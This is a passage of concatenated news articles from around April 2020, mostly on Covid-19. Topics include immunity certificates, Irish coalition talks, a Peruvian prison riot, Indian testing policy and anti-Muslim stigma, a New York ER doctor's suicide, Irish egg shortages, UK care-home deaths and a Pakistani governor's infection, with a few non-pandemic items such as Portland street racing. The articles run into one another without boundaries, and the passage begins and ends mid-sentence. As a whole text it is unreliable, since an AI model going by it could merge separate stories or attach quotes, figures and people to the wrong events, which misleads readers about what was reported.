fortunate to recover. Some public health experts suggest that if we could show that our blood has antibodies to the coronavirus, we could be given a certificate of immunity that would enable us to resume normal lives. Chile is already taking this step, and officials in other countries, including Italy, France, Germany and Britain, have considered it. We would welcome knowing whether we had antibodies and, of course, would be happy to be able to resume something like normal life. But we worry about the effects such certificates could have on peoples rights to privacy, work and freedom of movement. Antibody testing is certainly a useful thing. If research shows that people with antibodies have significant immunity, medical personnel with antibodies could choose to be on the health care front lines, taking on such dangerous tasks as intubating or resuscitating seriously ill Covid-19 patients. Other people with immunity might offer to assume riskier jobs facing the public in retail, transport or services. That would help to protect people who are currently taking great personal risks in these sectors. And as more people felt safe to venture from their homes, they would be more likely to help revive the economy. We are nowhere near the herd immunity that would enable us to avoid a second or third round of the virus. And a vaccine is still far away. Masks, social distancing, testing and contact tracing will be parts of our lives for some time. If we are going to try to gradually restart our stalled economy, people who know they are probably immune to further contagion from the coronavirus could play a part. It looks like we're reaching the end game in the efforts to find a new Government. The political developments in recent weeks have underlined the unprecedented nature of the times we are living in. Who would have thought that what is a truly historic agreement between Fianna Fail and Fine Gael to enter into coalition talks would spark so little discussion? Just a short few years ago, such a marriage would have seemed impossible. But with Covid-19 setting the agenda, the onus has shifted in recent weeks to just forming a stable government to deal with this national crisis. However, the deal is not over the line yet and both parties find themselves between a rock and a hard place when it comes to finding a third party in government. Not to mention the task of bringing their own grassroots supporters along. With Sinn Fein ruled out by both, the Green Party is clearly viewed as the obvious choice. However, identifying the relative strength of their hand, the Greens look set to drive a hard bargain for their support - and one which may have a huge impact on the future of Irish agriculture. Or are they playing themselves out of the equation with their demands? By demanding a doubling of emission cuts, the Greens are pushing for livestock farmers to significantly carry the can. As we report this week, even the existing targets set out for emission cuts from agriculture look ambitious without a reduction in the national herd. Unpopular Such a move would likely be deeply unpopular among farmers, and should Fianna Fail and Fine Gael give into it, or other Green policies unpopular in rural Ireland, it could have a significant impact on their traditional support base. Indeed, a deal with the Greens could accelerate the growth of Sinn Fein in rural areas, where Fianna Fail has found itself particularly vulnerable to voter movement. Dealing with the Greens, rather than a group of individual independents, may be on many levels an easier option initially for Fianna Fail and Fine Gael but it may have longer-term costs at voter level. Union environment minister Prakash Javadekar has called for a grant of $1 trillion to developing countries immediately for a green economic recovery in the aftermath of the Covid-19 pandemic. He said this at the 11th session of the Petersburg Climate Dialogue on April 27 and 28. The event was co-chaired by Germany and the UK, and witnessed the participation of 30 countries. The aim was to facilitate discussions among high-level government officials over measures that could pave the way for a green recovery from the current economic crisis. Javadekar stressed making climate technology open source, or made available at an affordable cost. Covid-19 has taught us that we can survive on less. The world must think of adopting more sustainable consumption patterns in line with requirement of sustainable lifestyles, as was first mooted by PM Narendra Modi at the Paris Conference of Parties (2015). He added that the world has an opportunity to accelerate renewable energy and create jobs in the sector. India and other developing countries have been demanding action on a pre-2020 commitment of developed nations of mobilising $100 billion by this year for mitigation and adaptation. In a webinar organised by the Tata Institute of Social Sciences on April 22, Javadekar said: In 2009, the world had agreed that developed countries will mobilise $100 billion every year for climate adaptation and mitigation. Its been 11 years and the amount is $1 trillion now. Where is the money? There is no money on the table. At the Petersburg Dialogue, UN secretary general Antonio Guterres said in a video message: The Covid-19 pandemic has exposed the fragilities of our economy to shocks such as disease or climate disruption. Countries have committed to enhance their nationally determined contributions (NDCs) and longterm strategy to reach net zero carbon emissions by 2050. This commitment must be maintained. G20 countries must lead by example. The Petersburg Dialogue is crucial because the UN climate negotiations (COP26) to be held in Glasgow has been deferred in view of Covid-19. Countries were to submit enhanced NDCs in line with the Paris Agreement at Glasgow. Only four countries have submitted updated NDCs while 181 countries havent updated their NDCs. Without ambitious NDCs, the global average temperature is expected to rise by 3-5 degrees C over pre-industrial levels by the end of the century. Most scientists and environmentalists are worried about a rebound effect of the current economic crisis with economies investing in polluting sectors to come out of the slowdown. I am concerned about global economic crisis than I am about delaying this years COP. If the economy tanks, climate action may be delayed in the interest of getting people back to work. I hope we put people back to work in green energy and technology, sectors that will result in lasting change, Rob Jackson, Professor, Stanford and Chair, Global Carbon Project, told HT in an interview earlier this month. At least nine prisoners died after inmates started a riot to protest the precarious living conditions and the possibility of a coronavirus outbreak at a Peruvian penitentiary, authorities said Tuesday. The revolt turned fatal Monday when the detainees were shot dead during the clash with guards and cops at the Miguel Castro Castro prison in the Lima town of San Juan de Lurigancho. Hundreds of inmates gathered around the bodies of two of the dead in a common space of the prison late Monday afternoon. Images taken by The Associated Press show one of the deceased prisoners was surrounded by candles and placed next to a cross and an illustration of Jesus Christ that is venerated in Peru. 'Right to life,' read a large sign created by the prisoners with black cloth and white letters. 'We want to live but outside these walls.' The National Penitentiary Institute said Tuesday that investigators are still working to determine who fired the deadly shots. The riot injured 60 prison guards and five cops. Inmates gather around a corpse of a prisoner who was killed during a riot at the Miguel Castro Castro prison in Lima, Peru, on Monday. The National Penitentiary Institute reported Tuesday that nine prisoners were shot dead. Inmates were complaining authorities are not doing enough to prevent the spread of coronavirus inside the prison A police officer stands on the roof during Monday's riot at the Miguel Castro Castro prison in Lima, Peru. At least nine prisoners were shot dead during the uprising An inmate at the Miguel Castro Castro prison recorded the moment inmates in nine of the jail's 14 wards led a riot, demanding the Peruvian government improved the penitentiary's living conditions because they feared a coronavirus outbreak The dead prisoners were identified as Elias Domingo Lazo Hyalinos; Henry Joel Silva Ramirez; Cirilo Mario Coronado Ortiz; Hector Eduardo Palomino Alfaro; Juan Carlos Camacho Bezada; Alex Junior Villegas Villena; Jorge Luis Tirado Traver; Jaime Alexander Tasayco Canela and Efrain Ticlla Huachaca. The National Penitentiary Institute said Jose Maria Malaga Morla and Roberto Dominguez Mullisaca were the only inmates who suffered injuries. Part of the uprising, which was sparked by prisoners from nine of the 14 prison wings, was recorded by an inmate. Shots could be heard in the background while several object were lit on fire as smoke billowed from the compound. Inmates gather around the corpses of other inmates during Monday's riot at the Miguel Castro Castro prison, in the Lima town of San Juan de Lurigancho Fire rages in the middle of a court yard at the Miguel Castro Castro prison in Lima, Peru A neighbor looks at Monday's prison riot at Miguel Castro Castro penitentiary in Lima, Peru Peru's overcrowded jails have been hard hit by the coronavirus. At least 13 prisoners have died and more than 500 have been infected. Over 100 workers have also fallen ill. Throughout Latin America, prisons are notoriously overcrowded, violent and dominated in large part by gangs or corrupt officials. Overall there are 1.5 million inmates in the region's jail cells, which often lack basic necessities like soap and water. Governments in the region have reported close to 1,400 confirmed COVID-19 cases among inmates and prison staff, though advocates say not enough testing is taking place. Peru has 28,699 confirmed cases total of COVID-19, the second highest number of infections in the region following Brazil. Health authorities say 782 have died. A woman holds a sign that reads in Spanish, 'there are dead and sick. They deserve to live. They are human beings' Relatives look at the Miguel Castro Castro prison from a hilltop during Monday's jail riot in Lima, Peru. Inmates complain authorities are not doing enough to prevent the spread of coronavirus inside the prison A man walks towards a house that faces Miguel Castro Castro prison during a jail riot, in Lima, Peru, on Monday. The incident left nine inmates dead Hyderabad: The Telangana governments decision not to test secondary contacts of Covid-19 patients other than those individuals exhibiting clear symptoms of the disease is an option fraught with uncertainties, some senior doctors said. In other words, the Telangana government does not know what it's doing, they feel. So little is known about the disease biology anyway. Unless a fool-proof system is in place to protect vulnerable sections of the population, attempting to develop herd immunity may not achieve the desired results, they said. Even the World Health Organisation (WHO) on Saturday said very little, if anything, is known about how long a person infected with the coronavirus who then recovers from the Covid-19 disease, has immunity that he or she developed in the process of fighting off the disease. Though the most visible symptoms being sought among people who would be eligible for testing are related to breathing difficulties, cough, cold coupled with high fever, there is now scientific consensus from across the world that the coronavirus can and does infect several other organs of the body in addition to the lungs. These include the heart, kidneys, liver, the cerebellum, testes, and ovaries and intestines. The short, medium, or long-term implications for individual health from a coronavirus infection is just not known. Will exposure to the disease provide long-term immunity? That is the million-dollar question, a senior infectious diseases specialist said. If we can protect our vulnerable population, then attempting to develop herd immunity makes sense. But our society is far from being able to do anything close to this, the senior doctor said. Any patient that recovers, especially after a severe infection, can expect impaired functions of some organs. The same could be the case with people exhibiting mild symptoms. It will all depend on the extent of cell damage to an organ. Such damage needs to be identified, which means people even with mild symptoms will have to be tested to determine what is happening with them, a former professor of cardiology said. The real challenge, according to experts, is that currently there is little or no understanding of the Covid-19 disease biology. Unless the government lays out its plan on management of the herd immunity exercise, it might be viewed as an admission that it has given up. In the US, it has been found that 14 per cent of patients have developed issues with their cardiac muscles. Some three to five per cent of patients have developed problems related to testicles, one expert said. One doctor said that experience has shown that Indians do not worry much about their health unless they are diagnosed with a health problem. Then there is the problem with auto-immune diseases, especially affecting kidneys, which is also a target organ in Covid-19. In any case, herd immunity works in a country like ours only when accompanied by vaccination. That is the reason why, though there are no polio cases for years, we still keep inoculating children against the disease, the doctor said. Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter. Government-enforced social isolation may help relatively affluent populations limit the spread of COVID-19, but these measures can be devasting for the nearly 1 billion people around the globe currently dwelling in urban slums, where physical space is scarce, and many rely on daily wage labor for survival. To help the urban poor weather the COVID-19 pandemic, governments should instead prioritize providing basic needs, including fresh water, sanitation and a moratorium on evictions, and support existing community leadership in delivering health care and emergency preparedness, argues a new report published April 24 in the Journal of Urban Health. The report, authored by a team of public health experts and epidemiologists working in collaboration with community leaders and non-governmental organizations (NGOs) from urban slums around the world, provides eight urgent recommendations for reducing the impact of COVID-19 on people living in poverty. These recommendations are crucial not just for people living in urban slums in the global south, but for other vulnerable populations, such as migrant farm workers and those living in refugee camps and homeless encampments and on Native American reservations in the United States, the authors say. Evidence now suggests that the coronavirus is disproportionately affecting black Americans in some U.S. cities, possibly due to similar structural factors, such as the inability to take time off of work. The political and economic shocks and instability that are happening now and are likely to follow from this epidemic will likely kill more and lead to more disability in this population than the coronavirus itself. We felt we needed a strategy that recognized the unique needs of the urban poor at the front." Jason Corburn, professor of public health and of city and regional planning at the University of California, Berkeley, and lead author of the paper Close living conditions and lack of basic sanitation make urban slum dwellers particularly vulnerable to contracting and spreading the coronavirus, said study co-author Lee Riley, a professor of epidemiology and infectious diseases at UC Berkeley. Many also have pre-existing medical conditions and lack access to health care, putting them at high risk of dying or developing serious complications if they do get sick with the virus. Simply staying home is rarely an option for them, as it often means giving up work and even basic necessities like food, water and sanitation. In some countries, like Kenya and South Africa, people even face government violence for not obeying curfews and other restrictions. "Shelter-in-place is a luxury of the wealthy," Riley said. "In many slums, people need to walk a long distance to collect water to use at home. Most people living in slums also have no choice but to participate in the informal economy, which will disappear under lockdowns." Topping the list of recommendations is a call for governments to partner with existing community leadership and NGOs to form emergency planning committees that can consider the unique social, economic and cultural needs of the community in charting the appropriate response, rather than relying on top-down directives. Similarly, as many communities lack easy access to health care, community and informal health workers should be deployed to monitor individuals for early symptoms and educate them about how to avoid transmitting the disease. Plans should be also be enacted for emergency transport into and out of settlements, which often lack adequate transportation infrastructure. "The worst thing you can do in an emergency, particularly in an infectious disease outbreak, is to give everybody the same advice, because it doesn't recognize that not everybody starts in the same position," Corburn said. "Community health workers are uniquely positioned to know the preexisting conditions and the constraints that a group faces." Finally, governments should ensure that people in slums have their basic needs for shelter and food met by enacting a moratorium on evictions and by providing payments for lost work, fresh water and food, and solid waste removal. "COVID-19 became a pandemic because of the global spread of the virus by those people who can afford to travel on airplanes and cruise ships," Riley said. "As we are now seeing, inevitably, the disease has ended up in vulnerable communities of the world." "We want to be bold in calling for actions that don't just tinker around the edges," Corburn added. "It's not just about getting people some more care or better care. We're really calling for a more holistic approach to public health." Portland police arrested three drivers after investigators tied them to reckless driving and stunting events posted online, police said Tuesday. Anthony Rangel-Perez, 18, Cristobal Ramos, 19, and Michael Shon Downey, 28, were charged with reckless driving, reckless endangerment and disorderly conduct for various incidents during the past several weeks, police said. Police released videos of drivers spinning circles on the Fremont Bridge and said Rangel-Perez and Downey were both involved in that incident. The three were also said to have taken part in reckless driving activities on North Ramsey Boulevard in North Portland in late March. The arrests are the latest in a string of enforcement actions by police who are hoping to quell an uptick in dangerous driving and unregulated car-enthusiast gatherings as streets empty due to the coronavirus pandemic. On Sunday night, officers initiated 27 traffic stops, issued 10 traffic citations, towed two vehicles and arrested two drivers in North and Northeast Portland, officials said in a statement. The previous weekend, officers took four drivers into custody on suspicion of reckless driving and reckless endangering, police said. The weekend before that, investigators were called to the Fremont Bridge on reports of multiple cars blocking traffic while drivers spun circles on the span. In videos, dozens of spectators can be seen watching as drivers spin their tires and whip tight circles and figure-eights for nearly half an hour. Its extremely dangerous when these cars are moving at such great speeds, at such power so close to people with people hanging out of the cars and filming, Capt. Tony Passadore said after the incident on the bridge. Portland has had at least 13 traffic fatalities this year. The three who were arrested were cited and released, police said. -- Kale Williams; kwilliams@oregonian.com; 503-294-4048; @sfkale Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Lucknow/New Delhi: Blaming a Islamic missionary movement for spread of coronavirus, BJP MLA Suresh Tiwari has allegedly asked residents of Deoria district not to purchase vegetables from Muslim vendors. For this advice, he cited "various complaints about people of the minority community contaminating vegetable with saliva". "Keep one thing in mind, I am telling everyone openly, no one should purchase vegetables from miyas [Muslims]," he was seen telling people, including government officials, in a video that was doing rounds on social media. When Indian Express contacted the legislator from the district's Barhaj constituency, he said that the statement was made last week during his visit to the office of nagar palika, where several government officials were present. "After hearing the complaints that people of a community were selling vegetables after contaminating them with saliva in an attempt to spread coronavirus disease, I advised them if they have any doubt dont purchase from them till they are not well. After the situation gets normal then decide what they want," the MLA was quoted as saying by IE. The legislator claimed he had given his opinion, and it was up to people to decide if they want to follow it. "Everyone can see what Jamaat members have done in the country," Tiwari said, referring to the Tablighi Jamaat, whose congregation in Delhi last month led to spurt in positive novel coronavirus disease (Covid-19) cases. Post the event, false news targeting Muslims began to circulate, including video clips purportedly showing congregation members spitting on authorities. The clips were quickly proven to be fake, yet by April 1, the hashtag "CoronaJihad" was trending on Twitter in India. Politicians in Bharatiya Janata Party were quoted on TV and in newspapers describing the Jamaat incident as "corona terrorism". Doctors who studied previous epidemics warn that stigma and blame for a contagious disease weaken trust in marginalized communities, threatening decades-long efforts against illnesses such as polio and tuberculosis by making people less likely to seek treatment. Recently, a resident of Mumbai's suburb Mira Road was arrested after he allegedly refused to accept a package he ordered online from the Muslim delivery man. In another incident, a 37-year-old chicken peddler was shunned by his neighbors in Bangarh, a village in the hilly state of Himachal Pradesh, for giving two members of the Jamaat congregation a ride to their village on his scooter. Neighbours accused him of deliberately trying to infect them with the virus, which causes the Covid-19. Karthikeyan Gokulachandran, the district police superintendent, blamed his suicide on stigma. In Rajasthan, a pregnant Muslim woman was turned away from a public hospital because of her religion, resulting in the death of her 7-month-old fetus, said Vishvendra Singh, the state's tourism minister. In Uttarakhand, Hindu youths forced Muslim fruit vendors to stop selling. Shots were fired at a mosque in Gurugram, a suburb of New Delhi, and a Muslim family in the neighboring state of Haryana was attacked by neighbors who accused them of not turning off their lights on April 9, the night Prime Minister Narendra Modi had asked the country to extinguish household lights for 15 minutes in a show of national unity. Meanwhile, reacting to Tiwari's statement, UP BJP spokesperson Rakesh Tripathi was quoted as saying that the party does not endorse such statements. The party would take cognisance of the matter and question Tiwari about the circumstances in which he made the remarks, he added. An emergency room doctor in Manhattan who treated coronavirus patients died by suicide Sunday, police said. Dr. Lorna Breen, 49, the medical director of the emergency department at New York-Presbyterian Allen Hospital, was staying with family in Charlottesville, Virginia. City police responded to a call for medical assistance and took Breen to the University of Virginia Medical Center, where she died after suffering self-inflicted injuries, police said. Breen's father, Dr. Philip C. Breen, told the New York Times that his daughter "tried to do her job, and it killed her." Police officials said the emotional toll of her job in recent months is at least partly to blame. "Personal Protective Equipment (PPE) can reduce the likelihood of being infected, but what they cannot protect heroes like Dr. Lorna Breen, or our first responders, against is the emotional and mental devastation caused by this disease," Charlottesville Police Chief RaShall Brackney said in a statement. Dr. Lorna M. Breen Breen's father told the Times that his daughter had described devastating scenes of the toll the coronavirus took on patients. She had contracted the coronavirus but returned to work after about a week and a half, Breen told the Times. When the hospital sent her home, Breen's family brought her to Charlottesville. Breen's father told the Times that she did not have a history of mental illness. The last time he spoke with her, Breen had seemed detached, he told the Times. Philip Breen has not responded to a request for comment from USA TODAY. Abby Siegel, a friend of 10 years, told USA TODAY in a message that Breen "brought devotion and compassion to all areas of her life." She cared about her family, friends and religion. She was a snowboarder, an accomplished cellist and a member of the New York City salsa community. And she was due to receive an MBA from Cornell University, her undergraduate alma mater, next year, Siegel said. Story continues "I was in awe that she could juggle being a full-time ER doctor and a demanding graduate school curriculum. Her smile was radiant and she lit up every room I'd ever been in with her." Breen saved lives outside the ER, too. In 2013, Breen was with her ski group running to catch a flight in the Denver airport when she heard someone cry for help and jumped over the people mover railing to assist a man who had gone unconscious, Siegel said. "She literally resuscitated this man right there and then and saved his life!" Siegel said. "We begged the flight attendants to hold the flight for her, and when she got on the plane we all clapped and cheered for her. Lorna was so brave, compassionate and dedicated in her position as a doctor." Breen will be deeply missed, Siegel said. "Words cannot convey the sense of loss we feel today," Columbia University Irving Medical Center and New York-Presbyterian said in a statement. "Dr. Breen is a hero who brought the highest ideals of medicine to the challenging front lines of the emergency department. Our focus today is to provide support to her family, friends, and colleagues as they cope with this news during what is already an extraordinarily difficult time." New York-Presbyterian Allen Hospital is on the northern tip of Manhattan. If you are having thoughts of suicide, call the National Suicide Prevention Lifeline at 1-800-273-8255 or find the online Lifeline Chat chat here. Stressed, depressed, and feeling bad? You're not alone. Where to get free help online This article originally appeared on USA TODAY: Coronavirus: Dr. Lorna Breen, ER doctor in NYC, dies by suicide Easy Languages. Among Mr. Lampariellos recommendations is the Easy Languages YouTube channel, which produces short videos recorded in the streets of countries around the world, along with subtitles in the native language and in English. Easy French, Easy German, Easy Greek and Easy Italian are among the offerings. More tips can be found on Mr. Lampariellos YouTube channel and on his website. TED Talks. For longer videos with subtitles, theres the Great TED Talks for language practice playlist where, for instance, you can watch the Peruvian-born chef Gaston Acurio, creator of dozens of restaurants around the world, including Astrid & Gaston in Lima, speaking in Spanish about home cooking. To explore more talks in different languages, choose the Languages drop-down menu. E-books, newspapers, magazines When learning to read in another language, magazines with photos can be particularly helpful. PressReader. One way to scan whats out there is through a digital newsstand like PressReader, which has publications in many languages: Chinese, Danish, French, German, Indonesian, Korean, Russian, Swedish and Turkish, to name but a few. Select Languages from the navigation menu and tap on your language of choice to see whats available, be it El Pais, Cosmopolitan Italia or Vogue Paris. Its free to browse and read certain articles, and there are hot spots that allow complimentary access to full issues of publications (for instance, when youre actually traveling again, you may find hot spots with free access in some hotels and airport lounges). But, in general, youll need to sign up for a plan (rates vary by market), be it pay-as-you-go or a subscription. Project Gutenberg. Advanced enough to read entire books in another language? You can find free e-books in Portuguese, German, Dutch, French and other languages on Project Gutenberg. Flashcards All you need is paper and something to write with to make your own vocabulary flashcards. And you can get creative using them, too. In a TED blog post about language learning, Olga Dmitrochenkova, a translator, suggested labeling objects in your house in the language youre trying to learn. What better time to give it a whirl than now? No ones coming over to discover that youve taped an index card to your couch that says divano. There are, of course, advantages to digital flashcards. For instance, the ones from AnkiApp, a mobile and desktop flashcard app, can include audio pronunciation. And the app uses artificial intelligence to help you make the most of your studies with a form of whats known as spaced repetition, which involves selecting cards you need to work on, and when. You can create your own cards or download premade cards and synch them across your various devices. A deck in French, for example, has crucial words and phrases such as Another glass of red wine, please. (If AnkiApp sounds appealing, you may want to give Quizlet a try as well. You can make flashcards or browse language study sets with digital flashcards that are fun to flip and toss, timed matching games, writing exercises and tests.) A Boston community is mourning three women from the same family that ran a well-loved grocery store who all died with coronavirus within three days of one another. Sisters Laudalina and Juvenalia Amaral, and Juvenalia's daughter, Grace Amaral-Dias, were family members who helped to run Amaral's Central Market in Fall River, Massachusetts. They all died from coronavirus on or shortly after April 14. Massachusetts has recorded 56,462 confirmed cases of coronavirus, and 3,003 fatalities. Boston Mayor Marty Walsh said Monday the city will not reopen on May 4, when Massachusetts' non-essential business closures and stay-at-home directives expire. 'There is no question that May 4 is too early,' he said. 'I can tell you right now Boston will not reopen on May 4,' according to a report in the Boston Herald. Boston reported 8,159 coronavirus cases on Monday, an increase of 249 from the previous day, and 302 deaths, an increase of 31. The now shuttered entrance to the Amaral family business, which has run for more than 40 years, has since become a colorful shrine to the three women by the largely Portuguese community. Local Pastor Jack Silva said: 'They were always together. We hate to say it, but even in death.' Since their passing, 'hundreds and hundreds' of outpourings of grief have been made for the women, both across the city and online. Laudalina (left) and sister Juvenalia Amaral were 'God fearing women', well-loved in their city Pictured: Juvenalia's daughter, Grace Amaral-Dias, 40, died from the virus on April 14 One mourner, Taylor Roque, who worked at Amaral's Central Market for eight years, laid a bouquet of flowers at the door of the business, saying: 'They treat everyone like family, it's like no other store. 'They know every customer by name. You literally come here and you feel like you're at home.' Amaral sisters Laudalina and Juvenalia, 82 and 76 respectively, were born in Feteiras de Sul, on the island of St Michael, in the Azores. Laudalina died with coronavirus at Morton Hospital in Taunton, Massachusetts, on April 14, according to a Boston Globe report. Juvenalia's daughter, Grace Amaral-Dias, who was 40, died from the virus on the same day, and Juvenalia passed away from coronavirus on April 16. The sisters were described as 'women of God' by Christ the Rock Assembly Pastor Silva, who both ran Amaral's Central Market for a number of years with their families, including Grace. 'They've been pillars in this church for a long long time,' said Silva. 'The most difficult part of having to deal with this is that none of us have ever had the opportunity to say we love you, we thank you for all we've done for us.' Pictured: Family business - the Amaral's Central Market in Fall River, Massachusetts Pictured: Bouquets of colorful flowers emerge on the doorstep of Amaral's Central Market in Fall River, Massachusetts Pictured: Community members pay tribute to the three women who died with COVID-19 Amaral's Central Market closed its doors on April 10. Soon after, the community heard of the family's tragedy and numerous bouquets of flowers, prayer candles, and personal tributes were laid at the door. Widow Laudalina lived in Tiverton, less than ten miles from the store where she helped to run the register and bag groceries with sister Juvenalia. 'She would always tell you, 'I love you, I love you, querida,' to everybody in church. It didn't matter if she knew you for years or if you were newcomers,' a fellow churchgoer wrote on Facebook. Juvenalia, also from Tiverton, is survived by her husband of 53 years, Daciel Amaral, their two children, and three grandchildren. Juvenalia loved to exercise, and 'held her Lord and Savior to be of utmost importance', her obituary states. Pictured: A personal tribute to the sisters and daughter, saying, 'you will be missed' Yet more flowers and colorful balloons at the door of the family business Grace Amaral-Dias, Juvenalia's daughter, is survived by her husband and daughter. She was known for her 'radiant smile' and worked as a family accountant. 'Grace's hallmark was her kindness and sweetness; she will be missed in a personal way,' a friend wrote online. Christ the Rock church in Fall River said it will host a memorial for the three women 'when the time is appropriate,' according to another report. The board of the HSE was warned that cases of the flu were "especially high" among the elderly as the coronavirus outbreak loomed. The concerns over the annual influenza season were raised at the first HSE board meeting where Covid-19 was on the agenda. HSE chief operating officer Anne O'Connor briefed board members on January 31 and highlighted how "challenges remain to cope with the flu season this year". The minutes of the meeting note flu was "especially high" in the older population and members also expressed concern over the low uptake of the flu vaccine among health professionals. There have been more than 11,000 cases of the various strains of flu in Ireland since the start of October 2019. There have been 103 influenza-associated deaths, 87 of these have been among the over-65s. This is lower than the 255 deaths that occurred in 2017-2018 in what was classified as a severe season. The January 31 meeting came one day after the World Health Organisation declared coronavirus to be a public health emergency of international concern. HSE boss Paul Reid told the board a crisis management team had been mobilised and coronavirus was described as a "serious public health issue". The next board meeting was on February 28, the day before the first Covid-19 case was identified in Ireland. Public health specialist Dr Kevin Kelleher briefed members on preparations for a potential case here. Transmission of the disease was said to be "freely occurring" in Italy and Iran. "As a consequence, there is concern with people returning from these areas with significant risk of the virus spreading as a result," the minutes said. Eggs are being imported to meet demand because of a shortfall of 1.5 million eggs a day due to an outbreak of avian flu in Ireland. One supplier has warned it could take a year before production levels recover. Supermarkets, which are already experiencing increased demand for eggs during the coronavirus lockdown, have said they are experiencing some supply issues. However, the Irish Egg Association, which represents the main egg-packing companies in Ireland, last night revealed to the Irish Independent that eggs are now being imported to meet the shortfall. It said the drop in egg production is estimated to be between 10pc and 15pc, although it could be even higher as this is an evolving situation. One supplier has said there is now a daily shortfall of 1.5 million Irish eggs. An outbreak of avian flu in Co Monaghan last month has seen poultry farmers cull thousands of hens in recent weeks in a bid to bring it under control. Up to 20pc of the entire laying hen population has been culled, with farmers saying their livelihoods are under threat as a result. A supplier in the west of Ireland, Pearse Piggott, said the problem could take up to a year to resolve. "Ireland is 1.5 million eggs short per day due to avian flu. "It is a low pathogenic non-notifiable disease which means you don't have to notify the public just the Department of Agriculture and your vets," he explained. "The industry as a whole has made the decision to de-populate the birds, to kill the birds. "There is no compensation from the Department of Agriculture, the Government or from any fund. There is no insurance. "The farmer who owns the birds is at the entire loss in terms of costs. "When your farm goes down with avian flu you go into complete lockdown, then you have to pay to cull and render the birds, which is a massive expense. "This shortage will be here until Easter next year because all the birds needed to meet demand haven't been born or matured yet. "It's a nightmare and it's not going to change overnight. "The problem facing farmers is, do you invest in another 30,000 birds, which cost you 5 a bird, and then have the same problem in three months' time? As a consequence, we have no choice but to increase the price." While avian flu does not kill the birds it causes them to stop laying or produce small, inferior eggs. A spokesperson for Musgrave Group, which owns SuperValu, Centra and Mace, said in some instances the full range may not be available as consumer demand has also increased over the past month. A Tesco Ireland spokesperson said it is "seeing some level of impact on the supply of commercial eggs as a result of avian flu". It said its supplier has increased the availability of free-range eggs. Lidl said it had experienced "brief egg supply issues recently" due to the increased demand for eggs coinciding with reported cases of avian flu. Robert Malone, IFA poultry chairman, confirmed that around 20pc of the country's laying hens had been culled in recent weeks due to avian flu. Outbreak "It is recommended that farmers leave the sheds empty for at least three months after an outbreak of the flu, so the shed is cleared, disinfected and left idle, so no production can take place." Irish Egg Association chief executive Aoife Mac Eoin said there has been an outbreak of "low pathogenic avian influenza of the H6N1 subtype in commercial poultry flocks". "It is concentrated in Co Monaghan which is the main source of egg supplies in the Republic of Ireland. Movement restrictions have been imposed as a precautionary measure on a number of sites, at various stages since the problem first arose, in order to protect other flocks. "As a result of this loss of production, at a time of peak consumer demand in the last six weeks, a shortfall in supplies has emerged which has had to be filled by eggs from outside the state. "The drop in egg production is estimated to be of the order of between 10pc and 15pc, although it may be higher, while demand increased by reported figures of over 30pc." M ore than 4,300 people with coronavirus died in care homes in a fortnight, figures revealed today. The Care Quality Commission was notified of 4,343 deaths from Covid-19 in care homes from April 10 to the 24. In London, there were 447 deaths in care homes in this period, including 40 in Enfield, 31 in Ealing, 28 in Hillingdon and 26 in Bromley. Barnet had 24 deaths, Kingston 23, Brent and Harrow 22 each and Croydon had 19. There were deaths in all 32 boroughs, excluding the City of London. Ministers have faced criticism over shortages of personal protective equipment for staff in care homes and the time it took to start testing all patients being moved back from hospitals. Loading.... On an LBC phone-in, Heath Secretary Matt Hancock was challenged by a care home manager, Victor, from Loughton, Essex, who said 12 of his residents died after an infected patient was discharged from hospital. Mr Hancock said the Government had introduced testing for people leaving hospital to care homes to avoid the situation that Victor talks about and improved the supply of PPE. Latest UK coronavirus statistics 28/04 Jenny Smith, director of care at Westcliff Lodge Care Home in Essex, said nearly one third of her residents had died and told of the loss and the pain and the devastation. Regarding testing of residents, she added: Of course it wasnt timely enough. More than 880 people with coronavirus have died at home in England and Wales since the beginning of the outbreak until April 17, the latest available figures from the Office for National Statistics, and 190 in hospices. More than one in four care home deaths involved Covid-19. In London, 55 per cent of all deaths in the week to April 17 involved coronavirus 1,818 out of 3,275 deaths. Loading.... The 1,818 deaths were 312 more than in the previous week, and takes the total death toll in the capital from the infection to well over 5,000. The ONS put the overall death toll in England and Wales at 22,300 by this date, compared to 14,451 in hospitals according to the daily number announced by the Government, a difference of 7,849. The ONS figures include all mentions of Covid-19 on a death certificate, including suspected Covid-19, as well as deaths in the community, and there are considerable delays in the data from the Department of Health. Listen to The Leader: Coronavirus Daily podcast In the latest update on Coronavirus, a very close aide of Pakistan Prime Minister Imran Khan & Governor of southern Sindh province Imran Ismail, has tested positive for Covid-19, his party said on Monday. Ismail took to Twitter and said that he is prepared to fight against the virus. I have just been tested Covid 19 positive, Allah Kareem inshallah will fight it out. @ImranKhanPTI thought us to fight out the most difficult in life and I believe this is nothing against what we r prepared for. May Allah give strength to fight this Pandemic inshallah. Imran Ismail (@ImranIsmailPTI) April 27, 2020 Reacting on the same, Minister of Science and Technology Fawad Chaudhry has said that he is 'very very pertubed' to hear the news. He added that Governor of Sindh is not only friend but also his mentor. Ismail also responded on his post calling Chaudhry his brother. For me Governor sindh @ImranIsmailPTI is not only a friend but a mentor and a brother very very perurbed on news about his CoronaVirus positive test, may Allah be kind on all of us.... Ch Fawad Hussain (@fawadchaudhry) April 28, 2020 The death toll due to the coronavirus rose to 293 in Pakistan while the total number of cases jumped to 13,947 on Monday. Sindh has registered 4,956 positive cases so far. Some 50 police personnel, including six inspectors, have also tested positive for the virus. READ | Pakistani cleric blames women for Covid in Imran Khan's presence; PM doesn't bat an eyelid According to Karachi City police chief Additional Inspector General Ghulam Nabi Memon, the majority of the infected police officials are those were not deployed for the active field duty. The police personnel, one of whom has recovered, are undergoing treatment in isolation wards at different hospitals in Karachi. According to the Ministry of National Health Services, more than 3,000 people have recovered from the contagion in Pakistan. So far, 150,756 tests have been conducted including 6,391 in the last 24 hours, while the authorities announced to increase the number of daily tests to 20,000 from the next month. READ | Pakistan's COVID-19 count crosses 13K-mark on second day of Ramzan, 700 new cases reported Imran Khan tests negative Imran Khan tested negative for the novel coronavirus. This comes a day after it emerged that Faisal Edhi with whom Khan had interacted on April 15 had been confirmed as a positive COVID-19 patient. Khan's test report was confirmed by Dr.Zafar Mirza, the Special Assistant to the Pakistan PM on Health. Earlier, reports indicated that Imran Khan's family members also tested negative for the novel Coronavirus. READ | Pakistan denies preparing COVID-19 vaccine with China, as cases cross 12,000 Faisal Edhi had presented a cheque worth 1 crore Pakistani rupees to Khan in Islamabad in his capacity as the head of the Edhi Foundation, which is the country's largest charity foundation. Reportedly, he developed COVID-19 symptoms soon after visiting 